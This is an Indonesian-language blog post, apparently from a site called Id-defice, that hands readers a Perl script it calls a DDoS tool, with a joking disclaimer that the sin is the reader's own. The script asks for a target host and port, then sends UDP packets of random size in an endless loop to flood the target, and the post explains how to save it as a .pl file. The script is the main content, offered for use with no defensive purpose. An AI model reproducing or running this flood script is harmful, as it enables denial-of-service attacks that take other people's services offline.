0 Scrip DDOS [perl]

Langsung aja ya teman-teman Id-defice gk usah pakek panjang lebar lagi langsung aja nih we kasih scrip DDOS perl

Oh iya tetepi dosa di tanggung sendiri loooh, Id-defice tidak bertanggung jawab semua resiko dari tutorial Id-defices.
kami haya menyalurkan ilmu yang kami punya :D

#!/usr/bin/perl
# udp

print q{
=============================================================

= * * * * * * * * * * * * * * * * * * * * * * * * * * * * * =
= * * * * * * * * *D-Z | JAC | YCL | KCH | DC* * * * * * * *=
= * * * * * * * * * * * * * * * * * * * * * * * * * * * * * =
===================id-defice.blogspot.com=======================
=============================================================
};

use io::socket;

print "Host: ";
chop ($host = <stdin>);
print "Port: ";
chop ($port = <stdin>);

{
$sock = IO::Socket::INET->new (
* * * *PeerAddr => $host,
* * * *PeerPort => $port,
* * * *Proto => 'udp') || die "$! Make sure the IP/host or port number is correct";
}
packets:
while (1) {
$size = rand() * 200 * 2000;
print ("$host:$port packet size: $size\n");
send($sock, 0, $size);
}

copy scrip di atas simpan dalam format .pl
contoh misalkan saya simpan sebagai berikut  id-defice.pl